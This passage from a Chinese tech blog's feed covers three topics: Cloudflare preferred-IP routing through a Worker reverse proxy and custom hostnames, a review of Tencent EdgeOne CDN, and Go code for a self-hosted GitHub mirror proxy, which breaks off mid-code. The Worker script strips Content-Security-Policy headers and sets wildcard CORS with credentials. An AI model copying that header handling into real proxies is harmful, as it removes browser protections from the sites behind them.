&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;e98ce10d846475aaec5cf73546d9b5caffefc4c0.webp&quot; alt=&quot;QmaNVwAwSRvqdL5SrvWVCGCQqmacP3d62yoLxofGscNoKq.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;结论：可见，优选过的网站响应速度有很大提升，并且出口IP也变多了。这能让你的网站可用性大大提高，并且加载速度显著变快。&lt;&#x2F;p&gt;
&lt;p&gt;Cloudflare 优选域名：&lt;a href=&quot;&#x2F;posts&#x2F;record&#x2F;#cloudflare-%E4%BC%98%E9%80%89%E5%9F%9F%E5%90%8D&quot;&gt;记录 - AcoFork Blog&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;workerlu-you-fan-dai-quan-qiu-bing-you-xuan-xin&quot;&gt;Worker路由反代全球并优选（新）&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;本方法的原理为通过Worker反代你的源站，然后将Worker的入口节点进行优选。此方法不是传统的优选，源站接收到的Hosts头仍然是直接指向源站的解析&lt;&#x2F;p&gt;
&lt;p&gt;以下代码是原Github全站反代代码的二改以实现Worker路由接入优选，可能有多余逻辑或者不完全适配于优选需求&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;创建一个Cloudflare Worker，写入代码&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;js&quot;&gt;&#x2F;&#x2F; 域名前缀映射配置
const domain_mappings = {
  &amp;#39;源站.com&amp;#39;: &amp;#39;最终访问头.&amp;#39;,
&#x2F;&#x2F;例如：
&#x2F;&#x2F;&amp;#39;gitea.072103.xyz&amp;#39;: &amp;#39;gitea.&amp;#39;,
&#x2F;&#x2F;则你设置Worker路由为gitea.*都将会反代到gitea.072103.xyz
};

addEventListener(&amp;#39;fetch&amp;#39;, event =&amp;gt; {
  event.respondWith(handleRequest(event.request));
});

async function handleRequest(request) {
  const url = new URL(request.url);
  const current_host = url.host;

  &#x2F;&#x2F; 强制使用 HTTPS
  if (url.protocol === &amp;#39;http:&amp;#39;) {
    url.protocol = &amp;#39;https:&amp;#39;;
    return Response.redirect(url.href, 301);
  }

  const host_prefix = getProxyPrefix(current_host);
  if (!host_prefix) {
    return new Response(&amp;#39;Proxy prefix not matched&amp;#39;, { status: 404 });
  }

  &#x2F;&#x2F; 查找对应目标域名
  let target_host = null;
  for (const [origin_domain, prefix] of Object.entries(domain_mappings)) {
    if (host_prefix === prefix) {
      target_host = origin_domain;
      break;
    }
  }

  if (!target_host) {
    return new Response(&amp;#39;No matching target host for prefix&amp;#39;, { status: 404 });
  }

  &#x2F;&#x2F; 构造目标 URL
  const new_url = new URL(request.url);
  new_url.protocol = &amp;#39;https:&amp;#39;;
  new_url.host = target_host;

  &#x2F;&#x2F; 创建新请求
  const new_headers = new Headers(request.headers);
  new_headers.set(&amp;#39;Host&amp;#39;, target_host);
  new_headers.set(&amp;#39;Referer&amp;#39;, new_url.href);

  try {
    const response = await fetch(new_url.href, {
      method: request.method,
      headers: new_headers,
      body: request.method !== &amp;#39;GET&amp;#39; &amp;amp;&amp;amp; request.method !== &amp;#39;HEAD&amp;#39; ? request.body : undefined,
      redirect: &amp;#39;manual&amp;#39;
    });

    &#x2F;&#x2F; 复制响应头并添加CORS
    const response_headers = new Headers(response.headers);
    response_headers.set(&amp;#39;access-control-allow-origin&amp;#39;, &amp;#39;*&amp;#39;);
    response_headers.set(&amp;#39;access-control-allow-credentials&amp;#39;, &amp;#39;true&amp;#39;);
    response_headers.set(&amp;#39;cache-control&amp;#39;, &amp;#39;public, max-age=600&amp;#39;);
    response_headers.delete(&amp;#39;content-security-policy&amp;#39;);
    response_headers.delete(&amp;#39;content-security-policy-report-only&amp;#39;);

    return new Response(response.body, {
      status: response.status,
      statusText: response.statusText,
      headers: response_headers
    });
  } catch (err) {
    return new Response(`Proxy Error: ${err.message}`, { status: 502 });
  }
}

function getProxyPrefix(hostname) {
  for (const prefix of Object.values(domain_mappings)) {
    if (hostname.startsWith(prefix)) {
      return prefix;
    }
  }
  return null;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建路由&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;56752d54-26a5-46f1-a7d9-a782ad9874cb.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;类似这样填写&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;d025398c-39e3-4bd7-8d8f-2ce06a45007d.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最后写一条DNS解析 &lt;code&gt;CNAME gitea.afo.im --&amp;gt; 社区优选域名，如 cf.090227.xyz&lt;&#x2F;code&gt; 即可&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhen-dui-yu-a-aaaa-cname-saasjie-ru&quot;&gt;针对于A、AAAA、CNAME（SaaS接入）&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;我们需要&lt;strong&gt;两个域名&lt;&#x2F;strong&gt;（比如：onani.cn和acofork.cn）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;如果在同一CF账号下不可用，请尝试将俩域名放置在不同账号&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这里我们让onani.cn成为主力域名，让acofork.cn成为辅助域名&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先新建一个DNS解析，指向你的&lt;strong&gt;源站&lt;&#x2F;strong&gt;，&lt;strong&gt;开启cf代理&lt;&#x2F;strong&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;c94c34ee262fb51fb5697226ae0df2d804bf76fe.webp&quot; alt=&quot;QmfBKgDe77SpkUpjGdmsxqwU2UabvrDAw4c3bgFiWkZCna.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;前往&lt;strong&gt;辅助域名&lt;&#x2F;strong&gt;的 SSL&#x2F;TLS -&amp;gt; 自定义主机名。设置回退源为你刚才的DNS解析的域名（xlog.acofork.cn）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;点击添加自定义主机名。设置一个自定义主机名，比如 &lt;code&gt;onani.cn&lt;&#x2F;code&gt; ，然后选择&lt;strong&gt;自定义源服务器&lt;&#x2F;strong&gt;，填写第一步的域名，即 &lt;code&gt;xlog.acofork.cn&lt;&#x2F;code&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;如果你想要创建多个优选也就这样添加，一个自定义主机名对应一个自定义源服务器。如果你将源服务器设为默认，则源服务器是回退源指定的服务器，即 &lt;code&gt;xlog.acofork.cn&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;f6170f009c43f7c6bee4c2d29e2db7498fa1d0dc.webp&quot; alt=&quot;QmRYrwjeDMDQCj8G9RYkpjC3X4vpwE77wpNpbqKURwBber.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;继续在你的辅助域名添加一条解析。CNAME到优选节点：cloudflare.182682.xyz，&lt;strong&gt;不开启cf代理&lt;&#x2F;strong&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;4f9f727b0490e0b33d360a2363c1026003060b29.webp&quot; alt=&quot;QmNwkMqDEkCGMu5jsgE6fj6qpupiqMrqqQtWeAmAJNJbC4.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;最后在你的主力域名添加解析。域名为之前在辅助域名的自定义主机名（onani.cn），目标为刚才的cdn.acofork.cn，&lt;strong&gt;不开启cf代理&lt;&#x2F;strong&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;6f51cb2a42140a9bf364f88a5715291be616a254.webp&quot; alt=&quot;QmeK3AZghae4J4LcJdbPMxBcmoNEeF3hXNBmtJaDki8HYt.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;优选完毕，尝试访问&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;（可选）你也可以将cdn子域的NS服务器更改为阿里云\华为云\腾讯云云解析做线路分流解析&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;优选工作流：用户访问 -&amp;gt; 由于最终访问的域名设置了CNAME解析，所以实际上访问了cdn.acofork.cn，并且携带 &lt;strong&gt;源主机名：onani.cn&lt;&#x2F;strong&gt; -&amp;gt; 到达cloudflare.182682.xyz进行优选 -&amp;gt; 优选结束，cf边缘节点识别到了携带的 &lt;strong&gt;源主机名：onani.cn&lt;&#x2F;strong&gt; 查询发现了回退源 -&amp;gt; 回退到回退源内容（xlog.acofork.cn） -&amp;gt; 访问成功&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;zhen-dui-yu-cloudflare-page&quot;&gt;针对于Cloudflare Page&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;你可以直接将你绑定到Page的子域名直接更改NS服务器到阿里云\华为云\腾讯云云解析做线路分流解析&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;将您的Page项目升级为Worker项目，使用下面的Worker优选方案（更简单）。详细方法见： 【CF Page一键迁移到Worker？好处都有啥？-哔哩哔哩】 https://b23.tv&#x2F;t5Bfaq1&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;zhen-dui-yu-cloudflare-workers&quot;&gt;针对于Cloudflare Workers&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;在Workers中添加路由，然后直接将你的路由域名从指向&lt;code&gt;xxx.worker.dev&lt;&#x2F;code&gt;改为&lt;code&gt;cloudflare.182682.xyz&lt;&#x2F;code&gt;等优选域名即可&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;yi-nan-jie-da&quot;&gt;疑难解答&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Q：如果我的源站使用Cloudflare Tunnels
A：需要在Tunnels添加两个规则，一个指向你的辅助域名，一个指向最终访问的域名。然后删除最终访问域名的DNS解析（&lt;strong&gt;但是不要直接在Tunnels删，会掉白名单，导致用户访问404&lt;&#x2F;strong&gt;）。然后跳过第一步&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;原理：假设你已经配置完毕，但是Cloudflare Tunnels只设置了一个规则。
分类讨论，假如你设置的规则仅指向辅助域名，那么在优选的工作流中：用户访问 -&amp;gt; 由于最终访问的域名设置了CNAME解析，所以实际上访问了cdn.acofork.cn，并且携带 &lt;strong&gt;源主机名：onani.cn&lt;&#x2F;strong&gt; -&amp;gt; 到达cloudflare.182682.xyz进行优选 -&amp;gt; 优选结束，cf边缘节点识别到了携带的 &lt;strong&gt;源主机名：onani.cn&lt;&#x2F;strong&gt; 查询发现了回退源 -&amp;gt; 回退源检测 &lt;strong&gt;源主机名：onani.cn&lt;&#x2F;strong&gt;不在白名单 -&amp;gt; 报错 404 Not Found。访问失败
分类讨论，假如你设置的规则仅指向最终访问的域名，那么在优选的工作流中：用户访问 -&amp;gt; 由于最终访问的域名设置了CNAME解析，所以实际上访问了cdn.acofork.cn -&amp;gt; 由于cdn.acofork.cn不在Tunnels白名单，则访问失败&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;
&lt;p&gt;Q：如果我的源站使用了Cloudflare Origin Rule（端口回源）
A：需要将规则的生效主机名改为最终访问的域名，否则不触发回源策略（会导致辅助域名无法访问，建议使用Cloudflare Tunnels）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;原理：假设你已经配置完毕，但是Cloudflare Origin Rule（端口回源）规则的生效主机名为辅助域名
那么在优选的工作流中：用户访问 -&amp;gt; 由于最终访问的域名设置了CNAME解析，所以实际上访问了cdn.acofork.cn，并且携带 &lt;strong&gt;源主机名：onani.cn&lt;&#x2F;strong&gt; -&amp;gt; 到达cloudflare.182682.xyz进行优选 -&amp;gt; 优选结束，cf边缘节点识别到了携带的 &lt;strong&gt;源主机名：onani.cn&lt;&#x2F;strong&gt; 查询发现了回退源 -&amp;gt; 回退到回退源内容（xlog.acofork.cn）-&amp;gt; 但是由于&lt;strong&gt;源主机名：onani.cn&lt;&#x2F;strong&gt;不在Cloudflare Origin Rule（端口回源）的规则中 -&amp;gt; 无法触发回源策略，访问失败&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Q：如果我的源站使用serv00
A：需要在WWW Web Site界面添加两个规则，一个指向你的辅助域名，一个指向最终访问的域名。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;原理：假设你已经配置完毕，但是serv00仅配置其中一个域名
那么在优选的工作流中：会导致访问错误，serv00将会拦截不在白名单的域名请求&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>关于我折腾了一晚上 EdgeOne</title>
        <published>2025-06-22T00:00:00+00:00</published>
        <updated>2025-06-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/edgeone/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/edgeone/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/edgeone/">&lt;p&gt;在我的&lt;a href=&quot;&#x2F;posts&#x2F;static-web&quot;&gt;早期文章&lt;&#x2F;a&gt;中提过EdgeOne，当时它还仅有Page业务，而且IP是很垃圾的新加坡，并且还会吞提交。故我当时给出了不如Cloudflare Page的评价&lt;&#x2F;p&gt;
&lt;p&gt;不过这玩意最近出了CDN业务，并且还是免费。所以我又重拾起来了&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wo-yao-zen-me-yong-shang&quot;&gt;我要怎么用上？&lt;&#x2F;h1&gt;
&lt;p&gt;浏览器访问： https://edgeone.ai 注册账号&lt;&#x2F;p&gt;
&lt;p&gt;或者看视频： https://www.bilibili.com&#x2F;video&#x2F;BV1KmNUzVEEL&lt;&#x2F;p&gt;
&lt;h1 id=&quot;guan-yu-edgeone-cdn-wang-zhan-an-quan-jia-su&quot;&gt;关于EdgeOne CDN - 网站安全加速&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;以下言论仅适用于&lt;strong&gt;未备案&lt;&#x2F;strong&gt;用户&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;需要搞免费版兑换码。或者直接买个人版后可用，需要外币卡。&lt;&#x2F;p&gt;
&lt;p&gt;通过创建 &lt;code&gt;加速区域全球可用区（不含中国大陆）&lt;&#x2F;code&gt; 。会分配给你一个类似 &lt;code&gt;eo3-blog.afo.im.eo.dnse4.com&lt;&#x2F;code&gt; 这样的CNAME地址要求你做CNAME解析。IP很烂。&lt;strong&gt;可以直接做优选。&lt;&#x2F;strong&gt; 获取方式很简单，直接ITDOG PING &lt;code&gt;edgeone.ai&lt;&#x2F;code&gt; 找个最快的IP直接写A解析（貌似国内的也可以🤔），如图。&lt;strong&gt;本人EdgeOne优选：&lt;&#x2F;strong&gt; &lt;code&gt;eo.072103.xyz&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;42ff5956-d1db-4005-8d96-05fcf7eb76f0.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;5e49847b-568e-44e3-97d1-737359d6d9d7.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;45abf772-9757-4172-984f-d9b5a01ae1de.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因为这玩意是一个CDN，需要一个源站。如果你是静态站点可以用Cloudflare Page部署一个站，然后设置回源如下（注意回源Hosts头要填写源站域名，否则CF可能会报423 Locked &lt;em&gt;他妈的比腾讯云的418我是个茶壶规范多了😅&lt;&#x2F;em&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2bb58f42-4d8d-4429-a412-ff256b41087d.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最后开启SSL，结束，享受它吧&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;3063dcd0-857d-4280-8ed2-21f4beddb69a.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;guan-yu-edgeone-pages-xin&quot;&gt;关于EdgeOne Pages（新）&lt;&#x2F;h1&gt;
&lt;p&gt;不用花钱，注册账号后即可用&lt;&#x2F;p&gt;
&lt;p&gt;不管你的加速区域在哪，都建议绑定自己的域名，否则可能出现访问401。含中国大陆的区域需要域名备案&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;以下言论仅适用于&lt;strong&gt;未备案&lt;&#x2F;strong&gt;用户&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;通过创建 &lt;code&gt;加速区域全球可用区（不含中国大陆）&lt;&#x2F;code&gt; 。IP现在从新加坡Anycast改为了俩IP（如果按国内可用来算）43.175.44.57（中国香港。非移动延迟250ms+，移动延迟100ms-）， 43.132.85.153（日本东京。三网200ms左右）。比起之前的新加坡平均300ms的神奇IP好了很多&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;EdgeOne Pages无法优选&lt;&#x2F;strong&gt;。如果将EdgeOne Pages托管的域名指向非 &lt;code&gt;edgeone.app&lt;&#x2F;code&gt; 解析出的IP。会报418（比如EdgeOne CDN节点IP）&lt;&#x2F;p&gt;
&lt;p&gt;默认时延情况，如图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;fcf64bcf-7121-4952-b7e1-1aac7b7fe33d.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;以下言论仅适用于&lt;strong&gt;备案&lt;&#x2F;strong&gt;用户&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;默认延迟50ms以下（中国大陆）&lt;&#x2F;p&gt;
&lt;p&gt;优选不能将IP指向EdgeOne CDN节点的IP，否则报418。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>在VPS上部署一个自己的Github全站反代！</title>
        <published>2025-06-20T00:00:00+00:00</published>
        <updated>2025-06-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/go-proxy-gh/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/go-proxy-gh/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/go-proxy-gh/">&lt;p&gt;至今我仍在维护一个Github全站反代的服务，就是 https://gh.072103.xyz&#x2F;afoim 。也跟大家谈过&lt;a href=&quot;&#x2F;posts&#x2F;gh-proxy&#x2F;&quot;&gt;原理&lt;&#x2F;a&gt;。最近弄到了一个免费的VPS，就想着将Cloudflare Worker的反代移植到VPS上来&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;p&gt;VPS安装Golang运行时&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt install golang
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建一个文件夹。放置 &lt;code&gt;main.go&lt;&#x2F;code&gt; 源码如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;go&quot;&gt;package main

import (
	&amp;quot;fmt&amp;quot;
	&amp;quot;io&amp;quot;
	&amp;quot;log&amp;quot;
	&amp;quot;net&#x2F;http&amp;quot;
	&amp;quot;net&#x2F;url&amp;quot;
	&amp;quot;regexp&amp;quot;
	&amp;quot;strings&amp;quot;
	&amp;quot;time&amp;quot;
)

&#x2F;&#x2F; 域名映射配置
var domainMappings = map[string]string{
	&amp;quot;github.com&amp;quot;:                    &amp;quot;gh.&amp;quot;,
	&amp;quot;avatars.githubusercontent.com&amp;quot;: &amp;quot;avatars-githubusercontent-com.&amp;quot;,
	&amp;quot;github.githubassets.com&amp;quot;:       &amp;quot;github-githubassets-com.&amp;quot;,
	&amp;quot;collector.github.com&amp;quot;:          &amp;quot;collector-github-com.&amp;quot;,
	&amp;quot;api.github.com&amp;quot;:                &amp;quot;api-github-com.&amp;quot;,
	&amp;quot;raw.githubusercontent.com&amp;quot;:     &amp;quot;raw-githubusercontent-com.&amp;quot;,
	&amp;quot;gist.githubusercontent.com&amp;quot;:    &amp;quot;gist-githubusercontent-com.&amp;quot;,
	&amp;quot;github.io&amp;quot;:                     &amp;quot;github-io.&amp;quot;,
	&amp;quot;assets-cdn.github.com&amp;quot;:         &amp;quot;assets-cdn-github-com.&amp;quot;,
	&amp;quot;cdn.jsdelivr.net&amp;quot;:              &amp;quot;cdn.jsdelivr-net.&amp;quot;,
	&amp;quot;securitylab.github.com&amp;quot;:        &amp;quot;securitylab-github-com.&amp;quot;,
	&amp;quot;www.githubstatus.com&amp;quot;:          &amp;quot;www-githubstatus-com.&amp;quot;,
	&amp;quot;npmjs.com&amp;quot;:                     &amp;quot;npmjs-com.&amp;quot;,
	&amp;quot;git-lfs.github.com&amp;quot;:            &amp;quot;git-lfs-github-com.&amp;quot;,
	&amp;quot;githubusercontent.com&amp;quot;:         &amp;quot;githubusercontent-com.&amp;quot;,
	&amp;quot;github.global.ssl.fastly.net&amp;quot;:  &amp;quot;github-global-ssl-fastly-net.&amp;quot;,
	&amp;quot;api.npms.io&amp;quot;:                   &amp;quot;api-npms-io.&amp;quot;,
	&amp;quot;github.community&amp;quot;:              &amp;quot;github-community.&amp;quot;,
}

&#x2F;&#x2F; 需要重定向的路径
var redirectPaths = []string{&amp;quot;&#x2F;&amp;quot;, &amp;quot;&#x2F;login&amp;quot;, &amp;quot;&#x2F;signup&amp;quot;, &amp;quot;&#x2F;copilot&amp;quot;}

&#x2F;&#x2F; 检查路径是否需要重定向
func shouldRedirect(path string) bool {
	for _, p := range redirectPaths {
		if path == p {
			return true
		}
	}
	return false
}

&#x2F;&#x2F; 获取代理前缀
func getProxyPrefix(host string) string {
	if strings.HasPrefix(host, &amp;quot;gh.&amp;quot;) {
		return &amp;quot;gh.&amp;quot;
	}

	for _, prefix := range domainMappings {
		if strings.HasPrefix(host, prefix) {
			return prefix
		}
	}

	return &amp;quot;&amp;quot;
}

&#x2F;&#x2F; 根据前缀获取目标域名
func getTargetHost(prefix string) string {
	for original, p := range domainMappings {
		if p == prefix {
			return original
		}
	}
	return &amp;quot;&amp;quot;
}

&#x2F;&#x2F; 处理响应内容，替换域名引用
func modifyResponse(body []byte, contentType, hostPrefix, currentHostname string) []byte {
	&#x2F;&#x2F; 只处理文本内容
	if !strings.Contains(contentType, &amp;quot;text&#x2F;&amp;quot;) &amp;amp;&amp;amp;
		!strings.Contains(contentType, &amp;quot;application&#x2F;json&amp;quot;) &amp;amp;&amp;amp;
		!strings.Contains(contentType, &amp;quot;application&#x2F;javascript&amp;quot;) &amp;amp;&amp;amp;
		!strings.Contains(contentType, &amp;quot;application&#x2F;xml&amp;quot;) {
		return body
	}

	text := string(body)

	&#x2F;&#x2F; 获取当前域名的后缀部分
	domainSuffix := currentHostname[len(hostPrefix):]

	&#x2F;&#x2F; 替换所有域名引用
	for originalDomain, proxyPrefix := range domainMappings {
		fullProxyDomain := proxyPrefix + domainSuffix

		&#x2F;&#x2F; 替换完整URLs - 使用简单的字符串替换
		text = strings.ReplaceAll(text, &amp;quot;https://&amp;quot;+originalDomain, &amp;quot;https://&amp;quot;+fullProxyDomain)
		text = strings.ReplaceAll(text, &amp;quot;http:&#x2F;&#x2F;&amp;quot;+originalDomain, &amp;quot;https://&amp;quot;+fullProxyDomain)

		&#x2F;&#x2F; 替换协议相对URLs
		text = strings.ReplaceAll(text, &amp;quot;&#x2F;&#x2F;&amp;quot;+originalDomain, &amp;quot;&#x2F;&#x2F;&amp;quot;+fullProxyDomain)
		
		&#x2F;&#x2F; 替换带引号的域名引用
		text = strings.ReplaceAll(text, `&amp;quot;`+originalDomain+`&amp;quot;`, `&amp;quot;`+fullProxyDomain+`&amp;quot;`)
		text = strings.ReplaceAll(text, `&amp;#39;`+originalDomain+`&amp;#39;`, `&amp;#39;`+fullProxyDomain+`&amp;#39;`)
	}

	&#x2F;&#x2F; 处理相对路径 - 使用简单的字符串替换
	if hostPrefix == &amp;quot;gh.&amp;quot; {
		&#x2F;&#x2F; 替换引号内的相对路径
		text = strings.ReplaceAll(text, `&amp;quot;&#x2F;`, `&amp;quot;https://`+currentHostname+`&#x2F;`)
		text = strings.ReplaceAll(text, `&amp;#39;&#x2F;`, `&amp;#39;https://`+currentHostname+`&#x2F;`)
	}

	return []byte(text)
}

&#x2F;&#x2F; 处理请求
func handleRequest(w http.ResponseWriter, r *http.Request) {
	currentHost := r.Host

	&#x2F;&#x2F; 检查特殊路径重定向
	if shouldRedirect(r.URL.Path) {
		http.Redirect(w, r, &amp;quot;https://www.gov.cn&amp;quot;, http.StatusFound)
		return
	}

	&#x2F;&#x2F; 从当前主机名中提取前缀
	hostPrefix := getProxyPrefix(currentHost)
	if hostPrefix == &amp;quot;&amp;quot; {
		http.Error(w, &amp;quot;Domain not configured for proxy&amp;quot;, http.StatusNotFound)
		return
	}

	&#x2F;&#x2F; 根据前缀找到对应的原始域名
	targetHost := getTargetHost(hostPrefix)
	if targetHost == &amp;quot;&amp;quot; {
		http.Error(w, &amp;quot;Domain not configured for proxy&amp;quot;, http.StatusNotFound)
		return
	}

	&#x2F;&#x2F; 处理路径，修复嵌套URL问题
	pathname := r.URL.Path

	&#x2F;&#x2F; 修复特定的嵌套URL模式
	&#x2F;&#x2F; 处理 URL 编码的嵌套路径
	re1 := regexp.MustCompile(`(&#x2F;[^&#x2F;]+&#x2F;[^&#x2F;]+&#x2F;(?:latest-commit|tree-commit-info)&#x2F;[^&#x2F;]+)&#x2F;https%3A&#x2F;&#x2F;[^&#x2F;]+.*`)
	pathname = re1.ReplaceAllString(pathname, &amp;quot;$1&amp;quot;)

	&#x2F;&#x2F; 处理未编码的嵌套路径
	re2 := regexp.MustCompile(`(&#x2F;[^&#x2F;]+&#x2F;[^&#x2F;]+&#x2F;(?:latest-commit|tree-commit-info)&#x2F;[^&#x2F;]+)&#x2F;https://[^&#x2F;]+.*`)
	pathname = re2.ReplaceAllString(pathname, &amp;quot;$1&amp;quot;)

	&#x2F;&#x2F; 处理简化的嵌套路径（如 &#x2F;main&#x2F;https:&#x2F;domain&#x2F;）
	re3 := regexp.MustCompile(`(&#x2F;[^&#x2F;]+&#x2F;[^&#x2F;]+&#x2F;(?:latest-commit|tree-commit-info)&#x2F;[^&#x2F;]+)&#x2F;https:&#x2F;[^&#x2F;]+.*`)
	pathname = re3.ReplaceAllString(pathname, &amp;quot;$1&amp;quot;)

	&#x2F;&#x2F; 构建目标URL
	targetURL := &amp;amp;url.URL{
		Scheme:   &amp;quot;https&amp;quot;,
		Host:     targetHost,
		Path:     pathname,
		RawQuery: r.URL.RawQuery,
	}

	&#x2F;&#x2F; 创建新的请求
	req, err := http.NewRequest(r.Method, targetURL.String(), r.Body)
	if err != nil {
		http.Error(w, fmt.Sprintf(&amp;quot;Failed to create request: %v&amp;quot;, err), http.StatusInternalServerError)
		return
	}

	&#x2F;&#x2F; 复制请求头
	for key, values := range r.Header {
		for _, value := range values {
			req.Header.Add(key, value)
		}
	}

	&#x2F;&#x2F; 设置必要的请求头
	req.Header.Set(&amp;quot;Host&amp;quot;, targetHost)
	req.Header.Set(&amp;quot;Referer&amp;quot;, targetURL.String())
	&#x2F;&#x2F; 禁用压缩以避免编码问题
	req.Header.Set(&amp;quot;Accept-Encoding&amp;quot;, &amp;quot;identity&amp;quot;)

	&#x2F;&#x2F; 创建HTTP客户端
	client := &amp;amp;http.Client{
		Timeout: 30 * time.Second,
	}

	&#x2F;&#x2F; 发起请求
	resp, err := client.Do(req)
	if err != nil {
